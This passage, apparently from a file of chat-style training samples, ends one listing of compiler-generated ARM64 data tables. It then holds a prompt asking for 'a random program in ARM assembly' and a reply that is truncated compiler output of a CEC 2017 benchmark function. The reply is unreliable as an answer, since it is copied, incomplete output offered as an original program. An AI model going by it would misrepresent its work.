a2_final_rtbl50nit:
.string ""
.string "\b\007\004\002\001\001"
.string ""
.string ""
.align 3
.type a2_final_rtbl53nit, %object
.size a2_final_rtbl53nit, 10
a2_final_rtbl53nit:
.string ""
.string "\b\006\003\002\001"
.string ""
.string "\001"
.align 3
.type a2_final_rtbl56nit, %object
.size a2_final_rtbl56nit, 10
a2_final_rtbl56nit:
.string ""
.string "\007\005\003\002\001"
.string ""
.string "\002"
.align 3
.type a2_final_rtbl60nit, %object
.size a2_final_rtbl60nit, 10
a2_final_rtbl60nit:
.string ""
.string "\007\004\002\001\001\001"
.string "\001"
.align 3
.type a2_final_rtbl64nit, %object
.size a2_final_rtbl64nit, 10
a2_final_rtbl64nit:
.string ""
.string "\006\004\002"
.string ""
.string ""
.string ""
.string "\001"
.align 3
.type a2_final_rtbl68nit, %object
.size a2_final_rtbl68nit, 10
a2_final_rtbl68nit:
.string ""
.string "\006\005\003\002\002\001"
.string ""
.string ""
.align 3
.type a2_final_rtbl72nit, %object
.size a2_final_rtbl72nit, 10
a2_final_rtbl72nit:
.string ""
.string "\007\005\003\001\001\001"
.string "\001"
.align 3
.type a2_final_rtbl77nit, %object
.size a2_final_rtbl77nit, 10
a2_final_rtbl77nit:
.string ""
.string "\005\004\002\001"
.string ""
.string ""
.string "\001"
.align 3
.type a2_final_rtbl82nit, %object
.size a2_final_rtbl82nit, 10
a2_final_rtbl82nit:
.string ""
.string "\005\004\002\001"
.string "\001"
.string "\001"
.align 3
.type a2_final_rtbl87nit, %object
.size a2_final_rtbl87nit, 10
a2_final_rtbl87nit:
.string ""
.string "\004\004\002\001"
.string "\001\001\001"
.align 3
.type a2_final_rtbl93nit, %object
.size a2_final_rtbl93nit, 10
a2_final_rtbl93nit:
.string ""
.string "\005\004\002\001"
.string "\001\001"
.string ""
.align 3
.type a2_final_rtbl98nit, %object
.size a2_final_rtbl98nit, 10
a2_final_rtbl98nit:
.string ""
.string "\005\004\002\001\001"
.string "\001"
.string ""
.align 3
.type a2_final_rtbl105nit, %object
.size a2_final_rtbl105nit, 10
a2_final_rtbl105nit:
.string ""
.string "\005\004\002\001"
.string ""
.string "\002"
.string ""
.align 3
.type a2_final_rtbl111nit, %object
.size a2_final_rtbl111nit, 10
a2_final_rtbl111nit:
.string ""
.string "\005\004\002\001\001\001\001\001"
.align 3
.type a2_final_rtbl119nit, %object
.size a2_final_rtbl119nit, 10
a2_final_rtbl119nit:
.string ""
.string "\004\003\002\001\001\002\002\001"
.align 3
.type a2_final_rtbl126nit, %object
.size a2_final_rtbl126nit, 10
a2_final_rtbl126nit:
.string ""
.string "\004\003\001\001\001\002\001\001"
.align 3
.type a2_final_rtbl134nit, %object
.size a2_final_rtbl134nit, 10
a2_final_rtbl134nit:
.string ""
.string "\004\003\002\001\001\001\001\001"
.align 3
.type a2_final_rtbl143nit, %object
.size a2_final_rtbl143nit, 10
a2_final_rtbl143nit:
.string ""
.string "\004\003\001"
.string "\001\001\001\001"
.align 3
.type a2_final_rtbl152nit, %object
.size a2_final_rtbl152nit, 10
a2_final_rtbl152nit:
.string ""
.string "\004\003\002\001\001\001\002\001"
.align 3
.type a2_final_rtbl162nit, %object
.size a2_final_rtbl162nit, 10
a2_final_rtbl162nit:
.string ""
.string "\003\002\001"
.string ""
.string "\002\003"
.string ""
.align 3
.type a2_final_rtbl172nit, %object
.size a2_final_rtbl172nit, 10
a2_final_rtbl172nit:
.string ""
.string "\003\002\001\001\001\002\003"
.string ""
.align 3
.type a2_final_rtbl183nit, %object
.size a2_final_rtbl183nit, 10
a2_final_rtbl183nit:
.string ""
.string "\003\002"
.string ""
.string ""
.string ""
.string "\001\001"
.align 3
.type a2_final_rtbl195nit, %object
.size a2_final_rtbl195nit, 10
a2_final_rtbl195nit:
.string ""
.string "\003\001"
.string ""
.string ""
.string ""
.string "\001"
.string ""
.align 3
.type a2_final_rtbl207nit, %object
.size a2_final_rtbl207nit, 10
a2_final_rtbl207nit:
.string ""
.string "\002\001"
.string ""
.string ""
.string ""
.string "\002\001"
.align 3
.type a2_final_rtbl220nit, %object
.size a2_final_rtbl220nit, 10
a2_final_rtbl220nit:
.string ""
.string "\002\001"
.string ""
.string ""
.string ""
.string "\002"
.string ""
.align 3
.type a2_final_rtbl234nit, %object
.size a2_final_rtbl234nit, 10
a2_final_rtbl234nit:
.string ""
.string "\002\001"
.string ""
.string ""
.string ""
.string "\002"
.string ""
.align 3
.type a2_final_rtbl249nit, %object
.size a2_final_rtbl249nit, 10
a2_final_rtbl249nit:
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string "\002"
.string ""
.align 3
.type a2_final_rtbl265nit, %object
.size a2_final_rtbl265nit, 10
a2_final_rtbl265nit:
.string ""
.string "\001\001\001"
.string ""
.string ""
.string "\002\001"
.align 3
.type a2_final_rtbl282nit, %object
.size a2_final_rtbl282nit, 10
a2_final_rtbl282nit:
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string "\001"
.string ""
.align 3
.type a2_final_rtbl300nit, %object
.size a2_final_rtbl300nit, 10
a2_final_rtbl300nit:
.string ""
.string "\001"
.string "\001"
.string ""
.string ""
.string "\001\001"
.align 3
.type a2_final_rtbl316nit, %object
.size a2_final_rtbl316nit, 10
a2_final_rtbl316nit:
.string ""
.string "\001\001"
.string ""
.string ""
.string ""
.string "\001"
.string ""
.align 3
.type a2_final_rtbl333nit, %object
.size a2_final_rtbl333nit, 10
a2_final_rtbl333nit:
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\001"
.align 3
.type a2_final_rtbl350nit, %object
.size a2_final_rtbl350nit, 10
a2_final_rtbl350nit:
.string ""
.string "\001\001"
.string ""
.string ""
.string ""
.string "\001"
.string ""
.align 3
.type a2_final_rtbl357nit, %object
.size a2_final_rtbl357nit, 10
a2_final_rtbl357nit:
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.align 3
.type a2_final_rtbl365nit, %object
.size a2_final_rtbl365nit, 10
a2_final_rtbl365nit:
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string "\001"
.string ""
.align 3
.type a2_final_rtbl372nit, %object
.size a2_final_rtbl372nit, 10
a2_final_rtbl372nit:
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.align 3
.type a2_final_rtbl380nit, %object
.size a2_final_rtbl380nit, 10
a2_final_rtbl380nit:
.string ""
.string "\001"
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string ""
.local a2_final_rtbl387nit
.comm a2_final_rtbl387nit,10,8
.local a2_final_rtbl395nit
.comm a2_final_rtbl395nit,10,8
.local a2_final_rtbl403nit
.comm a2_final_rtbl403nit,10,8
.local a2_final_rtbl412nit
.comm a2_final_rtbl412nit,10,8
.local a2_final_rtbl420nit
.comm a2_final_rtbl420nit,10,8
.align 3
.type a2_final_ctbl2nit, %object
.size a2_final_ctbl2nit, 30
a2_final_ctbl2nit:
.string ""
.string ""
.string ""
.string "\351\372\344\336\345\335\372\001\366\366\001\367\356"
.string "\366\367\001\374\374"
.string "\374\375"
.string "\376\367"
.ascii "\370"
.align 3
.type a2_final_ctbl3nit, %object
.size a2_final_ctbl3nit, 30
a2_final_ctbl3nit:
.string ""
.string ""
.string ""
.string "\352\371\344\336\345\336\376"
.string "\365\361"
.string "\365\364\001\370\367\377\371\375"
.string "\375\375"
.string "\376\372"
.ascii "\371"
.align 3
.type a2_final_ctbl4nit, %object
.size a2_final_ctbl4nit, 30
a2_final_ctbl4nit:
.string ""
.string ""
.string ""
.string "\353\372\344\347\357\350\374\001\367\365\001\367\365"
.string "\367\371"
.string "\372\375"
.string "\375\376"
.string "\377\373"
.ascii "\372"
.align 3
.type a2_final_ctbl5nit, %object
.size a2_final_ctbl5nit, 30
a2_final_ctbl5nit:
.string ""
.string ""
.string ""
.string "\350\366\341\367\376\370\371"
.string "\364\364"
.string "\367\365"
.string "\367\372"
.string "\372\376"
.string "\376\376"
.string "\377\374"
.ascii "\373"
.align 3
.type a2_final_ctbl6nit, %object
.size a2_final_ctbl6nit, 30
a2_final_ctbl6nit:
.string ""
.string ""
.string ""
.string "\354\370\345\376\003\376\370"
.string "\364\366"
.string "\366\365"
.string "\367\372"
.string "\372\376"
.string "\376\376"
.string "\377\375"
.ascii "\374"
.align 3
.type a2_final_ctbl7nit, %object
.size a2_final_ctbl7nit, 30
a2_final_ctbl7nit:
.string ""
.string ""
.string ""
.string "\360\374\351\377\003\376\366"
.string "\363\365\377\364\370\001\367\372"
.string "\373\377"
.string "\376\376"
.string "\377\376"
.ascii "\375"
.align 3
.type a2_final_ctbl8nit, %object
.size a2_final_ctbl8nit, 30
a2_final_ctbl8nit:
.string ""
.string ""
.string ""
.string "\362\001\354\371"
.string "\371\367\001\364\371\001\367\367"
.string "\366\372\377\373\377"
.string "\376\377"
.string ""
.string "\376"
.ascii "\375"
.align 3
.type a2_final_ctbl9nit, %object
.size a2_final_ctbl9nit, 30
a2_final_ctbl9nit:
.string ""
.string ""
.string ""
.string "\363"
.string "\355\372"
.string "\371\370\001\365\367"
.string "\365\367\377\366\373"
.string "\374\377"
.string "\376\377"
.string "\377\377"
.ascii "\376"
.align 3
.type a2_final_ctbl10nit, %object
.size a2_final_ctbl10nit, 30
a2_final_ctbl10nit:
.string ""
.string ""
.string ""
.string "\361\377\352\372\002\372\372\001\365\370"
.string "\365\367\001\366\374"
.string "\374"
.string ""
.string "\377\377"
.string "\377\377"
.ascii "\376"
.align 3
.type a2_final_ctbl11nit, %object
.size a2_final_ctbl11nit, 30
a2_final_ctbl11nit:
.string ""
.string ""
.string ""
.string "\361\377\352\367\376\367\371\001\364\372\001\367\370"
.string "\367\374"
.string "\374"
.string ""
.string "\377\377"
.string ""
.string ""
.string ""
.ascii "\377"
.align 3
.type a2_final_ctbl12nit, %object
.size a2_final_ctbl12nit, 30
a2_final_ctbl12nit:
.string ""
.string ""
.string ""
.string "\362"
.string "\354\372\002\372\371"
.string "\363\371\001\370\370\377\366\375"
.string "\375"
.string ""
.string "\377\377"
.string ""
.string ""
.string ""
.ascii "\377"
.align 3
.type a2_final_ctbl13nit, %object
.size a2_final_ctbl13nit, 30
a2_final_ctbl13nit:
.string ""
.string ""
.string ""
.string "\365\002\356\373\001\372\371\377\362\366\377\364\370\377\366\375"
.string "\375"
.string ""
.string "\377\377"
.string "\377\001"
.string ""
.align 3
.type a2_final_ctbl14nit, %object
.size a2_final_ctbl14nit, 30
a2_final_ctbl14nit:
.string ""
.string ""
.string ""
.string "\363"
.string "\356\372"
.string "\370\372\377\363\366\377\366\370\377\366\375"
.string "\375"
.string ""
.string "\377"
.string ""
.string ""
.string "\001"
.string ""
.align 3
.type a2_final_ctbl15nit, %object
.size a2_final_ctbl15nit, 30
a2_final_ctbl15nit:
.string ""
.string ""
.string ""
.string "\364"
.string "\357\372\377\366\372"
.string "\362\371\002\372\371"
.string "\366\377\001\377"
.string ""
.string "\377"
.string ""
.string ""
.string "\001"
.string ""
.align 3
.type a2_final_ctbl16nit, %object
.size a2_final_ctbl16nit, 30
a2_final_ctbl16nit:
.string ""
.string ""
.string ""
.string "\367\001\361\371\376\365\373\002\363\371\002\371\371"
.string "\367\376\001\376"
.string ""
.string ""
.string ""
.string ""
.string "\377\001"
.string ""
.align 3
.type a2_final_ctbl17nit, %object
.size a2_final_ctbl17nit, 30
a2_final_ctbl17nit:
.string ""
.string ""
.string ""
.string "\366"
.string "\361\375\001\367\373\002\364\371\001\371\370\377\366\377"
.string "\376"
.string ""
.string ""
.string "\377"
.string "\377\001"
.string ""
.align 3
.type a2_final_ctbl19nit, %object
.size a2_final_ctbl19nit, 30
a2_final_ctbl19nit:
.string ""
.string ""
.string ""
.string "\363\001\354\373\001\372\367\376\360\371"
.string "\372\371\377\367\377\001\376"
.string ""
.string "\001"
.string "\001"
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl20nit, %object
.size a2_final_ctbl20nit, 30
a2_final_ctbl20nit:
.string ""
.string ""
.string ""
.string "\377\001\370\374\002\373\372\001\363\372\001\373\372\001\370"
.string "\001\377"
.string ""
.string ""
.string ""
.string "\001"
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl21nit, %object
.size a2_final_ctbl21nit, 30
a2_final_ctbl21nit:
.string ""
.string ""
.string ""
.string "\003\004\373\377\005\375\370\376\360\371\001\373\372\001\370\377\001\377"
.string ""
.string "\377\001\001\001\002"
.ascii "\001"
.align 3
.type a2_final_ctbl22nit, %object
.size a2_final_ctbl22nit, 30
a2_final_ctbl22nit:
.string ""
.string ""
.string ""
.string "\003\004\373\377\005\375\370\376\360\371\001\373\372\001\370\377\001\377"
.string ""
.string "\377\001\001\001\002"
.ascii "\001"
.align 3
.type a2_final_ctbl24nit, %object
.size a2_final_ctbl24nit, 30
a2_final_ctbl24nit:
.string ""
.string ""
.string ""
.string "\364\001\360\371\377\370\367\376\362\371\377\372\372"
.string "\370\377"
.string "\376"
.string ""
.string "\001"
.string ""
.string "\377\002"
.ascii "\001"
.align 3
.type a2_final_ctbl25nit, %object
.size a2_final_ctbl25nit, 30
a2_final_ctbl25nit:
.string ""
.string ""
.string ""
.string "\363\377\357\375\003\373\372"
.string "\364\373\002\376\371\377\367\377"
.string "\376\001"
.string "\001"
.string "\001"
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl27nit, %object
.size a2_final_ctbl27nit, 30
a2_final_ctbl27nit:
.string ""
.string ""
.string ""
.string "\367\002\362\373"
.string "\370\367\376\361\373\001\376\372\377\370\377"
.string "\376"
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl29nit, %object
.size a2_final_ctbl29nit, 30
a2_final_ctbl29nit:
.string ""
.string ""
.string ""
.string "\370\001\361\372"
.string "\371\371"
.string "\365\373\001\374\374\377\372"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\377\002"
.ascii "\001"
.align 3
.type a2_final_ctbl30nit, %object
.size a2_final_ctbl30nit, 30
a2_final_ctbl30nit:
.string ""
.string ""
.string ""
.string "\367\377\361\376\004\373\373\002\366\373\001\375\375\001\374"
.string ""
.string "\377"
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl32nit, %object
.size a2_final_ctbl32nit, 30
a2_final_ctbl32nit:
.string ""
.string ""
.string ""
.string "\373\002\364\374\001\370\371\377\364\372\001\375\376\001\374"
.string ""
.string "\377\001"
.string "\001"
.string ""
.string ""
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl34nit, %object
.size a2_final_ctbl34nit, 30
a2_final_ctbl34nit:
.string ""
.string ""
.string ""
.string "\375\005\367\370\001\352\373\002\367\372"
.string "\375\375"
.string "\373"
.string "\377"
.string ""
.string ""
.string "\377"
.string ""
.string "\001\002"
.ascii "\001"
.align 3
.type a2_final_ctbl37nit, %object
.size a2_final_ctbl37nit, 30
a2_final_ctbl37nit:
.string ""
.string ""
.string ""
.string "\372\002\365\366"
.string "\347\367\376\364\372"
.string "\374\374\377\372"
.string "\001"
.string "\001"
.string "\001"
.string ""
.string ""
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl39nit, %object
.size a2_final_ctbl39nit, 30
a2_final_ctbl39nit:
.string ""
.string ""
.string ""
.string "\374\005\370\366\001\352\370\376\365\371\377\375\374\377\372"
.string ""
.string ""
.string "\001"
.string "\377"
.string ""
.string "\001\002"
.ascii "\001"
.align 3
.type a2_final_ctbl41nit, %object
.size a2_final_ctbl41nit, 30
a2_final_ctbl41nit:
.string ""
.string ""
.string ""
.string "\372\002\366\361\376\350\376\003\371\373\377\376\376\001\374"
.string ""
.string ""
.string "\001"
.string "\001"
.string ""
.string ""
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl44nit, %object
.size a2_final_ctbl44nit, 30
a2_final_ctbl44nit:
.string ""
.string ""
.string ""
.string "\375\004\371\363\376\350\374\002\371\375\002\001\376\377\373"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl47nit, %object
.size a2_final_ctbl47nit, 30
a2_final_ctbl47nit:
.string ""
.string ""
.string ""
.string "\371\002\363\362\377\347\373\376\371\375\001\377\375\377\374\001"
.string ""
.string "\001\001"
.string "\377"
.string ""
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl50nit, %object
.size a2_final_ctbl50nit, 30
a2_final_ctbl50nit:
.string ""
.string ""
.string ""
.string "\370\002\361\361\376\346\373\376\371\372\376\374"
.string "\002\376\001"
.string "\001"
.string ""
.string "\377"
.string ""
.string ""
.string "\002"
.ascii "\001"
.align 3
.type a2_final_ctbl53nit, %object
.size a2_final_ctbl53nit, 30
a2_final_ctbl53nit:
.string ""
.string ""
.string ""
.string "\366\377\360\363\377\352\376\002\373\372\376\375\375\377\373\001\001\001\001\001\001\001"
.string "\001\002"
.ascii "\001"
.align 3
.type a2_final_ctbl56nit, %object
.size a2_final_ctbl56nit, 30
a2_final_ctbl56nit:
.string ""
.string ""
.string ""
.string "\372\002\364\366\003\354\001\004\376\371\376\375\376\377\374"
.string ""
.string ""
.string "\002\001\002"
.string ""
.string "\377\002"
.ascii "\001"
.align 3
.type a2_final_ctbl60nit, %object
.size a2_final_ctbl60nit, 30
a2_final_ctbl60nit:
.string ""
.string ""
.string ""
.string "\367"
.string "\362\366\001\352"
.string "\002\374\377\002\002\377"
.string "\375"
.string "\377"
.string "\377"
.string "\377\001"
.string ""
.string "\002"
.ascii "\002"
.align 3
.type a2_final_ctbl64nit, %object
.size a2_final_ctbl64nit, 30
a2_final_ctbl64nit:
.string ""
.string ""
.string ""
.string "\373\002\367\363\376\350\375"
.string "\372"
.string "\003\002\001\001\377\001\001\001\001"
.string "\001"
.string ""
.string "\377\002"
.ascii "\002"
.align 3
.type a2_final_ctbl68nit, %object
.size a2_final_ctbl68nit, 30
a2_final_ctbl68nit:
.string ""
.string ""
.string ""
.string "\377\005\372\363"
.string "\352\377\001\374\372\376\376\376\377\374\001"
.string ""
.string "\377\376"
.string "\002"
.string "\001\001"
.ascii "\001"
.align 3
.type a2_final_ctbl72nit, %object
.size a2_final_ctbl72nit, 30
a2_final_ctbl72nit:
.string ""
.string ""
.string ""
.string "\373\002\367\360\376\347\376\377\372\374\377"
.string "\377"
.string "\375\001"
.string "\001"
.string "\377\376\001\001\001\002"
.ascii "\002"
.align 3
.type a2_final_ctbl77nit, %object
.size a2_final_ctbl77nit, 30
a2_final_ctbl77nit:
.string ""
.string ""
.string ""
.string "\003\002\001\364\002\355"
.string "\002\374\374\376\377"
.string "\001\377\002"
.string "\001"
.string ""
.string ""
.string "\001\001\002\002"
.ascii "\001"
.align 3
.type a2_final_ctbl82nit, %object
.size a2_final_ctbl82nit, 30
a2_final_ctbl82nit:
.string ""
.string ""
.string ""
.string ""
.string "\377\375\367\002\360"
.string "\004\377\374\376\377\001\001\376"
.string ""
.string "\001"
.string "\377"
.string "\002\001"
.string "\002"
.ascii "\002"
.align 3
.type a2_final_ctbl87nit, %object
.size a2_final_ctbl87nit, 30
a2_final_ctbl87nit:
.string ""
.string ""
.string ""
.string "\006\002\001\372\003\363\376\001\375\376\001\002\001\001\376"
.string ""
.string "\001\001"
.string ""
.string "\001"
.string ""
.string "\002"
.ascii "\002"
.align 3
.type a2_final_ctbl93nit, %object
.size a2_final_ctbl93nit, 30
a2_final_ctbl93nit:
.string ""
.string ""
.string ""
.string "\004\377\373\371"
.string "\361\374\377\373\377\001\003\377\001\375\001"
.string "\001"
.string ""
.string ""
.string "\001"
.string "\001\001"
.ascii "\001"
.align 3
.type a2_final_ctbl98nit, %object
.size a2_final_ctbl98nit, 30
a2_final_ctbl98nit:
.string ""
.string ""
.string ""
.string "\007\003\376\365\377\356\001\002\376\375\377"
.string "\377"
.string "\375\002"
.string "\001\001"
.string ""
.string ""
.string ""
.string "\001\002"
.ascii "\001"
.align 3
.type a2_final_ctbl105nit, %object
.size a2_final_ctbl105nit, 30
a2_final_ctbl105nit:
.string ""
.string ""
.string ""
.string "\004\001\373\367\002\361\375\377\374"
.string "\001\002\377"
.string "\376\001\001\001\001"
.string ""
.string "\001"
.string "\002\001"
.ascii "\002"
.align 3
.type a2_final_ctbl111nit, %object
.size a2_final_ctbl111nit, 30
a2_final_ctbl111nit:
.string ""
.string ""
.string ""
.string "\007\005\376\365\377\356\376\001\376\376"
.string ""
.string ""
.string ""
.string "\376\001\001\001\001"
.string "\001\001\001\001\002"
.ascii "\001"
.align 3
.type a2_final_ctbl119nit, %object
.size a2_final_ctbl119nit, 30
a2_final_ctbl119nit:
.string ""
.string ""
.string ""
.string "\013\t\002\372\004\364\376\377\374\376\377"
.string "\001\002"
.string "\001"
.string ""
.string ""
.string ""
.string "\001\002"
.string "\001\001"
.ascii "\001"
.align 3
.type a2_final_ctbl126nit, %object
.size a2_final_ctbl126nit, 30
a2_final_ctbl126nit:
.string ""
.string ""
.string ""
.string "\b\004"
.string "\367\001\362\001\001\377"
.string "\002\002"
.string "\001"
.string "\001"
.string "\377\002\001\002\001"
.string "\002\001"
.ascii "\001"
.align 3
.type a2_final_ctbl134nit, %object
.size a2_final_ctbl134nit, 30
a2_final_ctbl134nit:
.string ""
.string ""
.string ""
.string "\004\001\374\371\004\365\376\377\375\376\377\001\377"
.string "\376\001"
.string "\002\001\001"
.string "\001\001\002\001"
.string ""
.align 3
.type a2_final_ctbl143nit, %object
.size a2_final_ctbl143nit, 30
a2_final_ctbl143nit:
.string ""
.string ""
.string ""
.string "\373\376\365\372\002\366\377\377\375"
.string "\002\003"
.string "\001\377"
.string "\377"
.string "\003\002\002\001\001\001\001"
.ascii "\001"
.align 3
.type a2_final_ctbl152nit, %object
.size a2_final_ctbl152nit, 30
a2_final_ctbl152nit:
.string ""
.string ""
.string ""
.string "\377\001\370\372\003\370\377"
.string "\376"
.string "\001\002\377"
.string "\377\001"
.string ""
.string "\001"
.string "\001\001"
.string ""
.string "\001"
.ascii "\001"
.align 3
.type a2_final_ctbl162nit, %object
.size a2_final_ctbl162nit, 30
a2_final_ctbl162nit:
.string ""
.string ""
.string ""
.string "\003\004\374\372\001\367\376\377\376\377"
.string "\001\001\002"
.string "\001"
.string "\001\001\001"
.string "\001"
.string "\002"
.string ""
.string ""
.align 3
.type a2_final_ctbl172nit, %object
.size a2_final_ctbl172nit, 30
a2_final_ctbl172nit:
.string ""
.string ""
.string ""
.string "\006\007"
.string "\367\377\364\377"
.string "\376"
.string "\002\002"
.string ""
.string ""
.string ""
.string ""
.string "\001"
.string ""
.string "\377\001"
.string "\001"
.string ""
.string ""
.align 3
.type a2_final_ctbl183nit, %object
.size a2_final_ctbl183nit, 30
a2_final_ctbl183nit:
.string ""
.string ""
.string ""
.string "\002\004\375\373\002\371\376\377\376"
.string "\002\002"
.string "\001"
.string "\377\376\377\005\005\005"
.string ""
.string ""
.string "\001"
.ascii "\001"
.align 3
.type a2_final_ctbl195nit, %object
.size a2_final_ctbl195nit, 30
a2_final_ctbl195nit:
.string ""
.string ""
.string ""
.string "\376\001\372\374\004\374\001\002"
.string "\001\002\002\377"
.string ""
.string ""
.string ""
.string "\001\004\003\003"
.string ""
.string ""
.string "\001"
.ascii "\001"
.align 3
.type a2_final_ctbl207nit, %object
.size a2_final_ctbl207nit, 30
a2_final_ctbl207nit:
.string ""
.string ""
.string ""
.string "\003\003\377\377\006\377\377\377\376"
.string "\002\002"
.string ""
.string ""
.string "\001"
.string ""
.string "\001"
.string "\001"
.string ""
.string ""
.string "\001"
.ascii "\001"
.align 3
.type a2_final_ctbl220nit, %object
.size a2_final_ctbl220nit, 30
a2_final_ctbl220nit:
.string ""
.string ""
.string ""
.string ""
.string "\001\374\374\002\374\001\002\001"
.string "\001\001\377"
.string "\377\001"
.string "\001\001"
.string "\001"
.string ""
.string ""
.string "\001"
.ascii "\001"
.align 3
.type a2_final_ctbl234nit, %object
.size a2_final_ctbl234nit, 30
a2_final_ctbl234nit:
.string ""
.string ""
.string ""
.string "\003\004"
.string "\371"
.string "\371\377\377\376\001\001\002\377\377"
.string "\001"
.string "\377\001"
.string "\002\001"
.string ""
.string ""
.string ""
.string ""
.align 3
.type a2_final_ctbl249nit, %object
.size a2_final_ctbl249nit, 30
a2_final_ctbl249nit:
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\377\376\003"
.string "\002\002"
.string "\001\001\002\001\001"
.string "\001\001\002"
.string ""
.string ""
.string "\001"
.string "\001"
.string ""
.string ""
.align 3
.type a2_final_ctbl265nit, %object
.size a2_final_ctbl265nit, 30
a2_final_ctbl265nit:
.string ""
.string ""
.string ""
.string "\005\002\002\376\004"
.string "\377\377\376"
.string "\001\001\001\001\002"
.string "\376\377\001\001\001"
.string ""
.string "\001"
.string ""
.string ""
.align 3
.type a2_final_ctbl282nit, %object
.size a2_final_ctbl282nit, 30
a2_final_ctbl282nit:
.string ""
.string ""
.string ""
.string "\001\001\377\376\002\377"
.string "\001"
.string ""
.string "\001\002\377\376\377"
.string ""
.string "\377\001\001\002\002"
.string "\001"
.string ""
.string ""
.align 3
.type a2_final_ctbl300nit, %object
.size a2_final_ctbl300nit, 30
a2_final_ctbl300nit:
.string ""
.string ""
.string ""
.string "\003\004\002\377\003\001\376\376\376\377"
.string ""
.string "\377\376\377\001"
.string ""
.string "\001"
.string "\002"
.string ""
.string ""
.string ""
.string ""
.string ""
.align 3
.type a2_final_ctbl316nit, %object
.size a2_final_ctbl316nit, 30
a2_final_ctbl316nit:
.string ""
.string ""
.string ""
.string "\001\004\001\375\376\376\375\376\375"
.string "\002\002\001"
.string "\001\377\376\376\002\001\002\377"
.string "\377"
.string ""
.string ""
.align 3
.type a2_final_ctbl333nit, %object
.size a2_final_ctbl333nit, 30
a2_final_ctbl333nit:
.string ""
.string ""
.string ""
.string "\376\001\377"
.string "\001\001"
.string "\001\001\375\376\377\001"
.string "\001"
.string "\377\377\377\377\377\001\001\001"
.string ""
.string ""
.align 3
.type a2_final_ctbl350nit, %object
.size a2_final_ctbl350nit, 30
a2_final_ctbl350nit:
.string ""
.string ""
.string ""
.string ""
.string "\004\002\375\377\376\375\375\376"
.string "\001"
.string "\377\377"
.string ""
.string "\377\377\002\001\001"
.string ""
.string "\001"
.string ""
.string ""
.align 3
.type a2_final_ctbl357nit, %object
.size a2_final_ctbl357nit, 30
a2_final_ctbl357nit:
.string ""
.string ""
.string ""
.string "\376\001"
.string "\377\002\001"
.string ""
.string ""
.string "\375\376\376\002\002\002"
.string "\377"
.string "\001"
.string "\001\377"
.string "\377"
.string ""
.string ""
.local a2_final_ctbl365nit
.comm a2_final_ctbl365nit,30,8
.local a2_final_ctbl372nit
.comm a2_final_ctbl372nit,30,8
.local a2_final_ctbl380nit
.comm a2_final_ctbl380nit,30,8
.local a2_final_ctbl387nit
.comm a2_final_ctbl387nit,30,8
.local a2_final_ctbl395nit
.comm a2_final_ctbl395nit,30,8
.local a2_final_ctbl403nit
.comm a2_final_ctbl403nit,30,8
.local a2_final_ctbl412nit
.comm a2_final_ctbl412nit,30,8
.local a2_final_ctbl420nit
.comm a2_final_ctbl420nit,30,8
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global OShift
.bss
.align 3
.type OShift, %object
.size OShift, 8
OShift:
.zero 8
.global M
.align 3
.type M, %object
.size M, 8
M:
.zero 8
.global y
.align 3
.type y, %object
.size y, 8
y:
.zero 8
.global z
.align 3
.type z, %object
.size z, 8
z:
.zero 8
.global x_bound
.align 3
.type x_bound, %object
.size x_bound, 8
x_bound:
.zero 8
.global ini_flag
.align 2
.type ini_flag, %object
.size ini_flag, 4
ini_flag:
.zero 4
.global n_flag
.align 2
.type n_flag, %object
.size n_flag, 4
n_flag:
.zero 4
.global func_flag
.align 2
.type func_flag, %object
.size func_flag, 4
func_flag:
.zero 4
.global SS
.align 3
.type SS, %object
.size SS, 8
SS:
.zero 8
.section .rodata
.align 3
.LC17:
.string "\nError: Test functions are only defined for D=2,10,20,30,50,100."
.align 3
.LC18:
.string "\nError: hf01,hf02,hf03,hf04,hf05,hf06,cf07&cf08 are NOT defined for D=2."
.align 3
.LC19:
.string "input_data/M_%d_D%d.txt"
.align 3
.LC20:
.string "r"
.align 3
.LC21:
.string "\n Error: Cannot open input file for reading "
.align 3
.LC22:
.string "\nError: there is insufficient memory available!"
.align 3
.LC23:
.string "%lf"
.align 3
.LC24:
.string "input_data/shift_data_%d.txt"
.align 3
.LC25:
.string "%*[^\n]%*c"
.align 3
.LC26:
.string "input_data/shuffle_data_%d_D%d.txt"
.align 3
.LC27:
.string "%d"
.align 3
.LC28:
.string "\nError: There are only 30 test functions in this test suite!"
.text
.align 2
.global cec17_test_func
.type cec17_test_func, %function
cec17_test_func:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -336]!
.cfi_def_cfa_offset 336
.cfi_offset 29, -336
.cfi_offset 30, -328
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
str w3, [sp, 24]
str w4, [sp, 20]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 328]
mov x1, 0
mov w0, 10
str w0, [sp, 60]
adrp x0, ini_flag
add x0, x0, :lo12:ini_flag
ldr w0, [x0]
cmp w0, 1
bne .L2
adrp x0, n_flag
add x0, x0, :lo12:n_flag
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
bne .L3
adrp x0, func_flag
add x0, x0, :lo12:func_flag
ldr w0, [x0]
